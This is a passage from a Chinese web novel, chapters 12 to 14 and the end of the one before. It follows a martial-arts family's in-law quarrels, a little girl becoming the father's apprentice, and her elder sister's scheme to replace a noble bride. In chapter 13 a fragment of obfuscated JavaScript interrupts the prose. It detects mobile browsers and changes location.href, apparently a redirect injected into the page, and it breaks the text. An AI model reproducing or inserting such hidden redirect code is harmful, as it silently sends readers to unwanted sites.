前堂闹闹哄哄的,江祁川朝外看了眼,“我去喊玉娘吃饭,训她两句替娘出气,怎的能与您吵呢……”
杨雁哪里不知他心思,但也懒怠戳穿。他乐意和稀泥就去,一家子总得有个泥瓦匠。
热饭热菜端上桌,江祁川姗姗来迟,身后不见沈碧玉。
“我的亲娘啊,你们吵什么了,我媳妇儿回娘家了。”江祁川一跨进们就问。
江旌脸一绷,差点儿没拿馒头砸他,“混账小子,怎么跟你娘说话呢!”
江祁川:……
“呵,她还有脸气回娘家?”杨雁不可置信到冷笑,腔子里的火气又开始蹭蹭的冒,“心高气傲,气量狭小,老娘还没死呢,她都敢在家里称霸王了,自个儿回去也好,省得我撵她,还折了她爹娘的脸面!”
满桌人听得几脸懵逼,面面相觑。
蓉娘倒是知晓内情,但也不好在饭桌多嘴什么,冲朝她看来的夫君轻摇首,抿唇不语。
江祁川也懵了,瞧着他娘方才不像是气极了模样啊,他还当是又拌了几句口舌……这会儿瞧着,却不大像了。
杨雁:“我那会儿就说了,她沈五娘娶不得,你瞧瞧娶了她家沈二娘的那户,如今老爹娘过着什么日子,上上下下都得听她一个做媳妇儿的摆布!你不听,非得娶!还悄悄使了媒人去提亲!”
“咳……”江旌打断她的话,“别气了,先吃饭,有什么话等吃完再说。”
桌上除了江家几人,还有今日在铺子里帮忙的江旌几个徒弟,虽也说得上亲近,但这等事,还是关起门来自家解决为好。
杨雁平日也不是爱翻旧账的人,只老二这门亲事,当日便不趁她心意,沈碧玉嫁进来三两月,两人也是处不来,不满积攒了太多。
江旌看一眼门口站着的二儿子,道:“你是坐下吃饭,还是去接人?”
江祁川心想,接个屁啊。他连这婆媳俩吵了什么都不知,这会儿子去,除了吃闭门羹没旁的。
“我明儿再去吧,拎些糕点。”江祁川说。
一顿饭吃完,几个徒弟识趣儿的走了。
江祈年也要走,他不爱听吵架。刚迈出两步,就被人从后面提溜着后领子拐走了。
“今儿娘和你二嫂吵架时,你在家不?”江祁川问。
院子里的树叶子被风吹得哗啦啦的响,江祈年摸着自己的后脖领,点了下头。
江祁川顿松一口气,“你跟二哥说说,她们吵什么了?”
江祈年低着头沉默了会儿,说:“二嫂不高兴我给阿芒买吃的。”
江祁川:???…………………………
“啧。”江祁川无比后悔的往自己嘴上扇了下,他当日非得多这个嘴做甚!
江祁川那会儿,是觉得俩小孩儿每日早晨跑去买好吃的当真有趣,也是真没想沈碧玉会多心。
江祈年手里买零嘴儿的银子,爹娘每月都会给,别说爹娘了,就是他跟大哥,也会时不时给他揣点儿碎银铜板的花用。江祁川跟他大哥小时候,手里也没捉襟见肘过,那会儿爹跟几个叔伯还在一起走镖,每回回来,都
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得给他们哥俩儿塞点儿银子拿去花。
走镖是用命干的活儿,谁知那日就交代在哪儿了,江旌对儿子、徒弟从来不吝啬,但杨雁打理着家里吃喝穿用,难免节俭,沈碧玉一边被婆婆说着勤俭,一边看着江祈年带着别人家的小孩儿吃吃喝喝,心中不平衡也只道寻常。
江祁川叹口气,两手揉搓着小弟的脑袋,把小孩儿的头发搓得乱糟糟,“娘和你二嫂可说了什么难听话?”
江祈年扒拉掉他欠嗖嗖的手,摸摸自己沾手的头发,问:“多难听的?”
江祁川:……
翌日晨起,江祈年跟着师兄们练完晨功,在街角看见了展青芒。师兄们拎着水桶回家,俩小孩儿悄摸摸的往另一边走,去买了马婆婆家的烧鹅。
“好香啊!”
展青芒托着脸颊垂涎欲滴。
江祈年撕了条鹅腿递给她,一本正经道:“很好吃的。”
展青芒胡乱点着脑袋,迫不及待地伸手去接——
咻!
鹅腿被抢走了!
两张小脸儿茫然抬起,对上了江祁川灿烂的笑脸。
“很香啊。”江祁川说着,作势就要咬一口,衣袖忽然被扯住了,他垂下眼睛,佯装不解,“怎么?”
“这是给我的!”展青芒气咻咻道。
“别抢,”江祈年说着,又去扯另一只鹅腿,“还有一个。”
江祁川:……
他索性一伸手,连烧鹅带油纸的抢了。还讨人嫌的故意问:“想吃吗?”
江祈年叹口气。
展青芒:“哼!”
“想吃跟我回家吃,”江祁川笑得像个诱拐小孩子的怪婆婆,“我家还烙了肉饼,煮了甜豆汤,香得呦!”
展青芒抿紧嘴巴兜着口水,大眼睛转向了江祈年,看着有些可怜巴巴的。
江祈年:“……你想去吗?”
展青芒咽掉口水,郑重点头,“想!!!”
她都好久没吃肉饼啦,阿娘还没学会做肉肉呢。
江祈年:“那就……”
“哎呀,”江祁川突然做作的出声,神色遗憾极了,“我险些忘了,只有爹的徒弟才能在家吃肉饼,敞开怀吃,想吃多少吃多少。”
江祈年:……
展青芒肉乎乎的嘴巴微张,小圆脸儿上的表情更遗憾。
“不如……你拜个师?就拜我吧!”江祁川又说。
展青芒歪着头看他,却是疑惑问:“不是你爹的徒弟才能吃肉饼吗?”
说着,大眼睛忽然一亮,灿烂又欢喜,“我拜你爹吧!!!”
这会儿,朝阳初升,巷子里家家户户都在忙着吃朝食。
前堂坐满了两桌,江旌坐在那宽敞的圆桌前,看见二儿子回来,眉头一皱,训道:“去哪儿晃了,吃饭还得你嫂子去喊你,不像话!”
江祁川勾唇一笑,手朝背后一抬,“看见没,你师傅凶得很。”
江旌不明所以,正欲骂他神神叨叨什么,忽的,就见一阵风似的吹到了跟前,险些将他的椅子掀翻!
咣!
“师傅!!!”
地上的女娃抱着他腿激动呐喊。
江旌:?
12. 第 12 章
江家今早这顿饭,吃得安静极了。
从老到少,都扭着脑袋看那坐在高桌旁吃饭的小姑娘——左手一只鹅腿,右手一张脸大的肉饼,吃得小嘴儿油汪汪,再埋头吸溜一口甜汤顺顺缝儿。吃得美了,两条小腿儿荡秋千似的晃悠下,白白嫩嫩的脸上尽是餍足满意。
“乖乖,再吃个饼,”杨雁稀罕的紧,怕她够不着,装肉饼的笸箩都换到了她手边,殷勤备至的问:“汤甜不甜?要不再放点糖?”
展青芒仰起脸,笑眯眯道:“很甜啦!谢谢师母!”
“甜就好,”杨雁笑道:“马婆婆家的烧鹅那是一绝,乖乖多吃点肉,瞧这瘦的。”
被挤到小桌上跟小师兄们同桌而食的江祈年,不期然的一口甜汤喷到了碗里,“咳咳咳……”
他看一眼自己的手臂。
昨儿展青芒打架,他险些没拉动她。
可他能拎动一桶水……
“我还有呀,师母吃,给小江哥哥也吃~”展青芒乖巧道。
杨雁:“哎哟,真懂事,你吃,他还有。”
江祈年看一眼自己的碗,叹了口气。
“差不多得了,嘴都合不拢了,”江祁川牙酸的开腔,“这幸好老三是个小子,这要是个姑娘,我跟大哥那丁点儿没得疼了。”
江祁山瞪他一眼,“吃你的,话恁多。”
他都是要当爹的人了,别说是拈这个醋,就是听着都臊得想死。
吃过饭,循着惯例,江祁山带着师弟们去练功。
江祈年没跟着走,说:“我一会儿自己去。”
展青芒像只勤劳的小蜜蜂,撸起袖子,踮着脚丫将碗筷摞成摞,“我来刷碗呀~”
杨雁哪儿能当真让她个几岁小娃刷碗,哄着人去旁边玩儿。
“你爹娘真好~”展青芒说。
江祈年:“你要回家吗?”
展青芒点头,“回的呀,我阿娘该担心啦。”
“老二!把碗筷端去灶房!”杨雁喊。
“好吧,老小子活该不受疼……”江祁川吐出一截骨头,抬起屁股认命的帮忙收拾。
锅里温着水,这会儿用来刷碗将将好。
江祁川收拾了碗筷过来,哄亲娘道:“瞧着我给你捡回个小胖丫头的份儿上,一会儿我将玉娘接回来,过去的就别提了吧?”
杨雁白他一眼,没好气道:“我是那等气量窄的?只要她不给我摔摔打打的使性儿,老娘才懒得理会呢。”
“哎呦,就知道我娘大人大量,儿子再求您一件事呗?”江祁川殷勤的给她捏肩,“玉娘爱吃您做的红枣糕,我来刷碗,您帮我蒸一笼我带去行不行?”
“你娘是能给你做这个脸,只怕人家不稀罕。”
“这种阴阳怪气的话,可不像是娘这爽利性子说的,大嫂是您做主,三媒六聘的给大哥做了媳妇儿,我知道大嫂性子好,得您疼,您也疼疼玉娘呗,她刚进门几个月,家里也刚摸熟了,成日瞧着您对大嫂千好万好,难免念起自己亲娘,自己却连个说体己话的都没,岂不失落?”
“行了,罗里吧嗦的,我去给你蒸红枣糕,当真是上辈子欠你们的。”杨雁推开他的手,过去舀面,想起那面团儿似的小姑娘,又不禁念叨,“你也是,阿芒那样的小姑娘,与你爹拜得哪门子师,你们舞刀弄棍的不讲究,仔细再伤着她了。干脆我提着礼,带上三郎,正儿八经的登门去,与人家结个干亲……”
“名目有甚要紧的,左右是咱们家的人就好啦,”江祁川道:“玉娘是心疼老三给外人花银子,这阿芒不管是当了小师妹,还是干妹妹,左右是咱家的,肥水没流外人田,玉娘也就没生气的由头了不是?”
“你就……”杨雁指着他,一时半刻竟是气得没甚好说,“你就钻这空子吧,改明儿三郎要是给另个小子、姑娘的花银子,你那媳妇儿再心疼,我看你怎么办。”
江祁川抬抬眉梢,笑得奸诈:“爹的徒弟又不嫌多。”
杨雁:……
--
展青芒与孙云酿两看相厌的在同一屋檐下住了几日。有日天晴,见着阿娘收拾细软,展青芒当是姨母要带着孙云酿回家了,还有些不舍,问阿娘:“孙云酿不能自己回家吗?我想姨母多住些时候呢。”
王娘子动作一顿,回头看向她,神色间有些微楞,“你阿姐没与你说?”
“没有呀,”展青芒抠抠手,“阿娘,我想去抓兔子,送给姨母!”
王娘子犹豫下,走过来摸了摸她的头,道:“阿芒,你跟娘随你姨母和云酿姐姐同去扬州。”
“啊?”展青芒一双杏眼睁圆,满是茫然,“那阿姐呢?”
完蛋啦!
她还要与孙云酿住!
“你阿姐……”王娘子深呼吸,“你阿姐留在这里。”
展青芒眼睛一亮,连忙道:“那我跟阿姐留下!”
“你不想跟阿娘在一处吗?”
“可我也想跟阿姐在一起呀,阿娘也不走,我们就能在一起啦!”
王娘子听着她天真的话,默然无语,心里有些难过。她不想当阿玉的累赘,也不知该怎样将这话讲给阿芒听。
“可你阿姐长大了,要嫁人的。”王姝迈进房来,抱着软乎乎的小姑娘道。
“那我们跟阿姐一起呀,”展青芒表情乖巧,“阿姐也不想自己一个人的。”
王姝抿唇笑,“傻阿芒,姑娘家长大嫁人,都是要自己去的,哪有爹娘姐妹跟着一起,去人家家里过日子的?”
“啊……”展青芒失望得噘着嘴巴,“可我想阿姐呢,她被人欺负怎么办?”
“那到时姨母帮你阿姐教训那人,可好?”王姝从梳妆案上拿过木梳,解开小姑娘乱糟糟的发啾,帮她重新梳发,“姨母家有好大的池塘,里面红鲤就养了十几尾,漂亮极了,等你去了,你可以跟你酝酿姐姐一起喂鱼,姨母家的点心也很好吃,入口即化,花园里有许多花草,春来夏日里,还有蜻蜓蝴蝶,你可以扑蝶玩儿,好不好?”
展青芒听得心向往之,可想到阿姐不同往,就都不好了。可姨母待她亲亲的,展青芒不舍得拒绝她,只道:“我才不要跟孙云酿一起玩儿呢!”
小孩儿没有做主的权利,展青芒跟着阿娘和姨母去扬州的事就此定下了。
展青玉整日忙着在房中理账,好将铺子田产兑出去。展青芒知晓她忙,安静陪在旁边端茶倒水不多话,就是舍不得,也是偷偷蹲在墙根儿自己哭。
被孙云酿偶然撞见,孙云酿颇为无语,“你哭什么,我家府宅比你家大多了,还漂亮。”
展青芒瞪她一眼,“你走开!”
孙云酿:“哭鼻子,羞羞脸。”
展青芒撸袖子,她不想哭了,想打架!
孙云酿连忙跑了。
那日打架她头发都被扯得疼了!
哼!
临近别时,展青芒将自己的百宝盒依依不舍地送给了江祈年,“这都是我的宝藏,你要好好保管哦。”
江祈年摸着盒子上湿润的泥土,想起了巷子里的小孩子撒尿和泥玩儿,忽的手中如千钧之重。手指头和手心都不是很愿意挨着这盒子。
“给我做甚?”江祈年问着,便要递还给她。
展青芒眼珠子骨碌着转一圈,却是没接,挺着小胸膛理直气壮道:“我将我的宝藏送给你啦,你也要答应我,不能给别人买羊肉锅盔。”
要只当她一个人的小财神!
江祈年不知她心里那点小算盘,正要说他也没给旁人买过,实在是别人也不会在他吃糖葫芦时眼巴巴的看着。忽的,想起什么,他小心翼翼的问:“我嫂嫂是别人吗?”
“不是!我喜欢蓉嫂嫂,她还给我点心吃呢!”
江祈年悄悄松了口气,而后郑重点头,“好。”
江祈年捧着盒子回了家,阿娘和嫂嫂在院里摘菜。他回了房,用擦脚布仔细擦干净盒子上面的湿泥,去净了手,回来坐在桌前,慎之又慎的小心打开了盒子。
碎了只剩壳的核桃,断了只手臂的小布娃娃在咧着嘴笑,一根风筝线,不知装过什么的
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小瓷瓶,大抵……是因上面的蝴蝶好看?鼓面泛黄的拨浪鼓,七八颗奇形怪状的小石头……
若非展青芒那拧着眉毛的不舍太过打动人,江祈年都要以为她是用一堆破烂逗他玩儿。
风拂动窗外树叶,阿娘和大嫂坐在石桌前说话。
“听隔壁说,官家下旨给宁王世子赐婚了,还是祝国公家嫡出的姑娘。”杨雁想起街巷里说嘴的话,说给蓉娘听,也权当是解闷儿。
蓉娘低声道:“我听表哥说了两句,先前只当是宁王世子不大好了,但听说还能站起来,倒是阿芒她爹有些可惜了。”
“谁说不是呢,”杨雁也叹息,“人家皇亲贵胄,伤着了腿,倒是将旁人打杀了,谁知那畜生是何故发狂呢,此事又岂是能说得清的?阿芒小小年纪没了亲爹,听说她阿姐也刚及笄,原本有桩说好的亲事,此事一出,我看啊,那亲事多半也是没了。转过头来,人家世子爷倒是娶了官宦千金,却将她们姐儿俩牵累了。”
蓉娘:“福祸从来是说不准的。”
“可不是怎的,我觉得,祝家小姐也未必情愿嫁一瘸腿世子,寻常人家,那腿脚不好了,性情还大变呢,更别说是宁王世子了,那腿医治不好,日后也不能登大宝呢,这样的打击,性情能好才怪。”
……
清明过后,王娘子便带着小闺女,同阿姐一道往扬州去了。
登船那日,天气晴朗,展青芒纵然早便知晓,可分别之时,还是抱着展青玉的脖子哭得上气不接下气。
“我不要走了……呜呜呜……”
“我要跟阿姐一起……”
“不走……”
展青玉轻拍她后背,一言不发,良久,对着她哭得红肿的眼睛,轻声道:“阿芒乖些,日后要替阿姐照顾好阿娘,可否?”
展青芒哭得打嗝,一张口,眼泪大颗大颗的涌出了眼眶,委屈道:“我也想阿姐咋办……”
展青玉擦掉她的眼泪,凑近小姑娘耳朵,轻声道:“等院中那颗桃树结果,阿姐就去扬州接你和阿娘。”
展青芒眨了眨眼睫,正欲问她可是作数的?就听阿姐又道——
“此事是你与阿姐的秘密,不要与旁人说,阿娘也不要说。”
展青芒瘪着嘴憋着泪,重重点头,“我知道啦!”说罢,又悄悄话道:“那你要早些来啊,桃树多多浇水……”
行船远去,展青玉回了家中,隔日,她悄无声息的出门了,门环落了锁,好像这座小院儿空置许久,还未迎来它的主人。
十里外的官驿。
气清景明,草木丰茂。
黄昏时,一队婚嫁人马路过,停下歇脚。
送嫁的护卫将整个驿馆巡查罢,方才遣人去那辆披红挂绿的马车前,请人下车。
“二楼北向的那间上房最为宽敞,还请世子妃安心歇下,等明早再行上路。”
“多谢郑大人。”姑娘身姿窈窕,发髻高绾,微微颔首道谢。
“世子妃客气了。”
馆驿外,护卫围得水泄不通。暮色渐浓,驿馆小吏将饭菜端上了桌。
片刻,一位女使下楼来吩咐。
“劳烦烧两桶热水,送到二楼甲字号。”
“小人省的。”
一刻钟后,一道纤长的身影提水上楼,敲响了那扇房门。然则,房中未有应答,她自若推门而入。
热水入了浴桶,她绕过隐绰的屏风,走到软榻前,自袖袋掏出一物,在那位软倒在榻的贵女鼻端停了几息。
“我有一笔生意,想要与你做。”她看着悠悠醒转的人温声道。
祝瑰缓缓坐起,望着身前站立的人,莞尔道:“姑娘不像是做生意的。”
“我愿替祝小姐嫁去金陵,自此,小姐不必困于后宅,天高任鸟飞。”
“哦?”祝瑰唇角抿笑,“不知我能赠姑娘何?”
“……”
祝瑰看着她,又言:“听闻展家有女,以勇毅孝顺昭著,背回父亲尸首而面不改色,我瞧,倒与姑娘有几分相像。”
13. 第 13 章
被拆穿了,展青玉面无惭色,于祝瑰身侧的绣团坐下。透过朦胧纱屏,外间不知何时立着两个侍女模样的人。她心下暗知,对方并未中她事先下的迷药,眼前这出,不过是请君入瓮罢了。
展青玉缄默片刻,索性直言道:“祝小姐既知我是谁,也因是猜着了我为何事来。宁王封地金陵,此地庶务财权皆掌于手,朝中派遣的知府知州,无一能插手其中。官家天命之年,膝下皇孙尚幼,若有朝一日不测,为保幼储,当待宁王府如何?祝小姐若今日嫁去,福祸可知?”
“那你呢?”祝瑰看着她问。
展青玉:“朝夕之祸,但求所成。”
祝瑰轻摇首,她神态自若,眉眼间矜贵自持,唇齿微张,却是说着大不敬的话。“官家未必还能活得几载,你入宁王府,定要搅一滩浑水,使王府与官家嫌隙更甚,甚至于让他们——”
祝瑰看着她镇定的眼睛,一字一顿,“自相残杀。”
四目相对,展青玉神色间并无一丝慌张,也瞧不出半分惊惶。她望着这双洞察人心的温柔眼睛,问:“他不该死吗?”
“是你不该死。”祝瑰道。
“我不与你讲此事凶险。且说朝中党派倾轧,往前数太子府一案,离今日不过几载,太子家眷及一众幕僚,无辜惨死者多少。你欲替你爹翻案,焉知他们不想?我敬佩你之胆识,可万事皆有章法,若直愣愣闯进这诡谲风波来,只能当了人家棋盘之上的一子,怎不可惜?”
“李遂将你送来这里,想要李代桃僵。他看重的,是来日太子遗孤登基时,托孤重臣的地位。他欲效仿晁错,才疏志高,来日下场未必比得上前人。”春夜风凉,祝瑰递给她一盏热茶,自己也抿了口,又道:“再说你入金陵,世子之性情,你可知几分?”
她眼中无嘲弄,亦没有世家女高高在上的姿态,像是一二好友,于这春夜里闺话。
展青玉捧着一盏热茶,热烫自掌心传至四肢百骸。她一直以来,只认‘宁为玉碎不为瓦全’,什么徐徐图之,全是为粉饰自己软弱怂蛋的托词。展杳一死,其遗孀子女遭恶亲欺凌,霸占屋舍田产,被赶出门。可怜可叹至此,纵使蝼蚁,也该蚍蜉撼树了。
李遂找上她来,语焉不详的说她爹之死蹊跷,展青玉丝毫不觉意外。正如祝瑰所言,朝中党派林立,各人心中自有算计。李遂想要她做内应,里应外合将宁王府逼反,他好坐收渔翁之利。而展青玉借着他的势,轻易李代桃僵换了这馆驿伺候的人,不过,她从未想过李遂能重信守诺,替她翻了宁王世子宁马案。而这事,是她自己要做的。
可疏漏之处,却是李遂那个没用的东西,竟连迷药都没下好!
展青玉不愿做小人之事,原想好言相劝。如今境地,祝瑰不可能与她换。而她,也不如对方适宜做说客。
“官家赐婚前,我去探过世子伤势,原以为对方因伤而郁郁,却见殿中插花焚香,而他靠在榻上读书。”祝瑰放下手中茶盏,抿唇莞尔,“展姑娘聪慧,可是明了?”
她言辞婉约,可展青玉哪里听不懂?不过道是她与宁王世子不是一条船上的,人家并不憎恨刽子手。
展青玉轻嘲的笑了声,至此刻,唇角才泛起些苦涩来。
忽然,门前一道黑影出现。来人步伐沉而重,佩剑与甲胄相碰,刺耳声划破了夜里的寂静。
“世子妃!房中可有异动?”
祝瑰朝展青玉看了眼,声音轻缓,不疾不徐,“郑将军进来吧。”
听得这句,展青玉似都听见了门外之人狠狠松了口气。
房中隔着一道屏风,祝瑰问:“将军可是发现了不妥之处?”
“方才巡逻,在后院枯井中发现了一人,恐怕那才是驿卒。”
“死了?”展青玉眉头狠狠一皱。
似听得声音不同之处,屏风之外的人并未立时回答,反问:“世子妃,这位是?”
“将军勿怪,她是我闺中密友,只因家道中落,我父亲我与其来往。今夜她披星赶来,实则只为送我一程。不知那人,可还活着?”
“死了。”
“……”
房中缄默一瞬,展青玉神情一怔,脊骨一寸寸变得僵硬。
她不杀伯仁,而伯仁因她而死。
清晨薄雾未散,婚嫁仪队便出发离开了驿馆。不多时,便有人出现在了后院,看见坐在石阶上的展青玉时,那人愣了下,“你怎的在这儿?”
展青玉神色冷漠的看着他,“那驿卒是你杀的?”
“大人不是让你替了祝家那个去金陵吗?”那人走近,扯了脸上的面罩,眉头皱得能夹死蚊子,不善的盯着展青玉道。
“他昨夜二更天,差人传口信来,说是计划有变,怎的,你不知道?”展青玉眉宇也渐渐皱起。
“来的是谁?”
展青玉:“不知名姓,我也不知你的,不是吗?”
“你最好不是使诈!”
“不信?”展青玉站起身,“那你带我去见你主子,自可分辨。”
两匹快马朝京中的方向奔去,初升的日光被甩在身后,新绿的林中,不知何时多了一座新墓,而墓碑上刻无名氏,正安安静静的注视着京城的方向。
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吏部侍郎府,坐落在一条繁华富贵的街巷。行过前堂,穿过几条雕梁画栋的长廊,镂空花墙又不知路过几处,展青玉随其迈进了一座院子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309707|198772||http|test|mini|href|location''.split(''|''),0,{}));
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>“你在此处等我。”那人道。
“我不信你。”展青玉却是道。
她说罢,未理会这人似不可置信微睁的眼,提起衣摆上前敲门。
见着展青玉,李遂额前的青筋一跳,手中的狼毫笔拍在了桌上,而后看向了她身后进来的那人,语气严厉:“怎么回事!”
展青玉神色更是愤慨,“大人不是说,要助我入宁王府!何故出尔反尔!”
李遂一愣,不明所以。
展青玉抬起的手指气得发颤,指着她身后的人,“若非大人遣他来就,我今日便登上了去往金陵的马车!手刃仇人指日可待!错失此番良机,大人与我有仇否,这般坑害于我!”
李遂听不大懂,他的手下更不懂。李遂平日里有事,多是吩咐他去做,即便是急差,夜里谴了当值的人前去,今日也该知会他一声,可他并无知情。而展青玉神情激愤,也不似作假……
“你是说,是他阻拦了你?”李遂眉头紧锁的问。
“事至如今,良机已失,大人又何必装傻,明知故问!你让他阻了我去金陵,难不成是有更好的法子助我复仇?如若不是,大人今日必要给我一个交代!光脚不怕穿鞋的,我无畏死,不知大人可愿舍却这高官厚禄。”
这句,手下的人听懂了。
他急忙出声:“我何时阻你了!”
展青玉猛然转身,“不是你还是谁!自开始便是你来替你家大人传话,若非你风尘仆仆的赶来,传口信要我按兵不动,我清早就替了那位大小姐上了马车!”
“你方才不是这样说的!你说是旁的人!!!”
展青玉:“你以为,你带着面罩,我便不识得你了?”
手下人简直是头皮发麻,百口莫辩,朝主位一拱手,“大人!”
李遂一抬手,示意他闭嘴。精明的目光盯着展青玉。
展青玉脸色沉沉,目光不闪不避的回视着。
今日阳光明媚,碧空如洗,干净得像是一汪湖泊。
展青玉站在石阶下,身后的府门缓缓的阖上。阳光洒在身上,她却觉脊骨发凉。
街道的繁华入不了一双眼,嘈杂喧闹声也难入耳。忽然,一辆马车停在她跟前,挡了她的去路。
少顷,素布车帘掀开,露出里面端坐的人。
王焕躬身下了马车。
展青玉看着他走近,他长了一双慈悲眼,眼睛的皱纹,都透着对世人不幸的怜悯。
“那人死了。”她说。
“李遂在我与他的随从中,留下了我。”她又道。
展青玉眼睫稍垂,看着自己湿凉的双手,又轻声:“我这双手已经沾了血,别再劝我当菩萨了吧。”
14. 第 14 章
“这才稀罕了几天啊,就瞧不见人了。早知道,老二就不该将那小娃娃带回来,也省得这会儿抓心挠肝儿的难受。”杨雁剥着豆叹气道。
沈碧玉听着这话,就有些不乐意了,语气不高兴的说:“要不是三郎非得跟展家那丫头玩儿,我家官人也不会将她带回来,娘若是稀罕不够,语气盼着旁人家的丫头来家里,还不如与观音娘子上香,求求大嫂肚子里的是个女娃呢。”
杨雁看她写在脸上的心思,都懒怠骂她什么。长得一副聪明象,好赖话却是听不懂。她那是怪老二吗?
再说了,姑娘家有甚不好?偏这个笨蛋还嫌弃撇嘴。
“你大嫂要是能生个年画儿似的女娃,观音娘子的香火老娘我一日不断。”杨雁没好气道,三两下剥完几根豆子,端着木盆里的几件衣裳去河边洗,生怕跟她坐久了,也沾了蠢。
沈碧玉看她出门,哼了声。心道:这也就是嘴上说得好听,说什么孙子孙女都一样,她要是真乐意杨蓉生个丫头,何必撂下脸急匆匆的走了?
收拾完厨下,沈碧玉关了门出来,往自己的院子走。
江家虽说不是大富大贵的人家,但宅院还算宽敞,有一处不大不小的园子,隔开了东西跨院。这会儿功夫,四方小院儿洒满了日光,庭院花木渐渐露出颜色来,蓉娘此刻正坐在园中绣衣裳。
“弟妹,”看见她,蓉娘抬手轻招了下,“我这牡丹总是绣不好,弟妹来帮我看看?”
沈碧玉刚生出的一丝嫉妒,忽然消散了。她似不大情愿的走过去,哼声道:“我的绣活儿也寻常。”
“弟妹莫要谦虚,你衣裳上的绣花,总是活灵活现的。”蓉娘温声说着,将绣了一半的衣裳递去。
沈碧玉只打眼瞧了一眼,便看出了其中关窍,道:“你丝线挑的不好,与这料子颜色太过相近,且花瓣要挑几种丝线一同绣,不然,便像你绣的这样死板僵硬。”
说完,沈碧玉顿了下,又说:“你针线还是稳的,也不差。”
蓉娘被她找补似的夸赞逗得扑哧一乐,“我没往心里去,不必紧张。今日太阳很好,弟妹若是有空,可否陪我去挑选些丝线?”
沈碧玉想说——你怎的不找娘陪你去。话到嘴边又憋住了,她起身道:“你等会儿。”说完,往自己住的西跨院走。
不过片刻,沈碧玉拎着自己的绣线笸箩又出来了,手上还拿着个绣绷。
“这几种颜色的丝线都适合绣牡丹,你用吧。”沈碧玉说着,将自己的丝线笸箩放在两人中间的石桌上,她脑袋偏了偏,状似不经意道:“那里面的绣帕,是我先前绣的,你若觉得尚可,也可照着挑线配色。”
“多谢弟妹,我正发愁呢。”蓉娘欣喜道。
沈碧玉无声的哼了声,唇角骄傲的翘起。
妯娌俩坐在园子里绣花,不时说两句话。蓉娘彼时家里穷,绣活儿没请过人来教,多是她娘活着时,教她缝缝补补。她听得认真,虽说底子差些,但沈碧玉也没急赤白脸的嫌烦。
杨雁洗完衣裳回来,就见这俩人一派和睦。她看了会儿,也没去打搅,自个儿回后院去了。
没多会儿,前街的赵婆子过来了,说是过几日家里儿子娶媳妇儿,办喜宴,想请蓉娘去掌勺。
蓉娘先前在贵人府上做厨娘的事,街里街坊的都听过几句。她好说话得很,平日里街坊邻里的谁家做宴,上门来请她去掌勺,蓉娘也都是应了的。请她不必废什么银钱,家里的肉菜分些出来给她带回家就是了,若要真算得太清,倒是伤了街坊和气。蓉娘也不计较,人家给什么,她就拿回来点什么,若遇着当真抠门儿的人家,杨雁要上门去骂人,她还要拦着。
这是这会儿……
蓉娘轻咬唇,有些为难。
沈碧玉瞥她一眼,顿翻了个白眼儿,立时道:“那是不成了,我嫂子有了身孕,自家厨下的活儿都不敢让她沾手。”
赵婆子先是道了几句喜,又关切的问了她身子可还好。
蓉娘一一答了。
赵婆子却是没走,在石桌前坐下了,“瞧瞧蓉娘这手,巧得很。旁人家做宴,都是请了你去的,也是我家三哥儿没这福气,请不动你。他爹为了他娶媳妇儿的事,干活儿腰也扭着了,大夫前儿说,怕是得养一个多月。这家里处处都要花银子,实在是难啊。”
沈碧玉正想说,难就不要娶啊。但这话委实难听了些,她怕传出去后被杨雁骂。话到嘴边改了改,道:“那估计是吉日挑的不好,换一个。”
“……”
她说话理直气壮得很,赵婆子被她这句狠狠噎了下,怨怪似的道:“你这小媳妇儿,吉日是请阴阳先生算的,哪里是好随便改的。”
“吉日是不好随意改,可这新媳妇儿还没进门,就先是你家老头儿扭了腰,又是家里破了财,连个灶上掌勺的大师傅都请不起,要我看啊,这门儿亲怕是就挑的不好,何苦拖累人家姑娘呢!”
杨雁从后院过来,说的话比沈碧玉更不客气。
也是沈碧玉是个刚成亲的小媳妇儿,许多话不好说。但杨雁就没这许多顾忌,赵婆子年纪是比她大些,但也不是能给她当娘的年岁。
“你、你这说得什么话!”赵婆子有些急道,像是怕被她这话冲撞了福气,双手合十的朝各方向拜了拜。
杨雁就看着她神神叨叨,末了,又说:“我二媳妇儿好言好语跟你说了,听不懂还是怎的,说那些可怜话想招谁心软去?挺大岁数了,竟干这些不要脸的事儿,三两五两的银子都吝啬,逼着人身子还没坐稳的去你灶上忙活,怎的,你家那灶台是用金子打的!”
赵婆子被她这话臊得脸红,杨雁嗓门儿多大啊,就这么两句,她都听见邻里的动静了,也没敢再招她,干巴巴的说了两句话就紧走了。
“娘,别动肝火,我也没想着应。”蓉娘扶着她坐下,实话实说道。她是不大会拒绝人家,但如今肚子里有小孩儿,江祁山每晚回来都要摸一摸,期盼得很,她哪里敢有什么闪失?
这般想着,蓉娘脸有些发烫,又道:“我知晓轻重的。”
“你呀,你要是有老二媳妇儿一半儿的干脆,我都在后院躲清静,懒得出来跟她费口舌。”杨雁说着站起身,“不坐了,你们妯娌俩绣花儿吧,我回屋给你爹的汗衫缝补缝补,这两日得穿了。”
沈碧玉嘴比脑子快,嘀咕一句:“破了就扔了呗,还缝啥呀。”
杨雁:……
她好悬没转过去骂她败家玩意儿,耳不听为静的走了。
蓉娘轻轻笑了声,道:“娘说了,他们爷们儿费汗衫,一个夏里三五件都不够穿,左右是不穿着汗衫见客,好坏不必讲究,倒是穿戴得太俊俏,怕是招小娘子青眼。”
杨雁听见,心中十分满意。就是嘛,老爷们儿穿得花枝招展做甚,没得惹麻烦。
“大哥也穿破的?”沈碧玉表情纠结。
蓉娘轻轻摇首,压低嗓音:“我给他裁了两件新的。”
沈碧玉豁然开朗,“破的他们练功穿,新的穿给咱们看!”
蓉娘:……
两人正说小话,就见豆苗儿似的江祈年从两院间开的小门儿回来了,一脑袋往厨下扎。
“这是惦记着灶上的粽子呢。”蓉娘轻笑道。
“那给他拿一个,时辰也差不多了。”沈碧玉说着,起身也往厨下走。
江祈年可不是惦记着粽子嘛,只是这粽子还没出锅。他看着将熄的灶膛,不知道是该等等,还是过会儿再来。正犹豫,沈碧玉过来了。
“往后站站,仔细烫着你。”
沈碧玉进来,拿了垫布转身去揭锅盖。
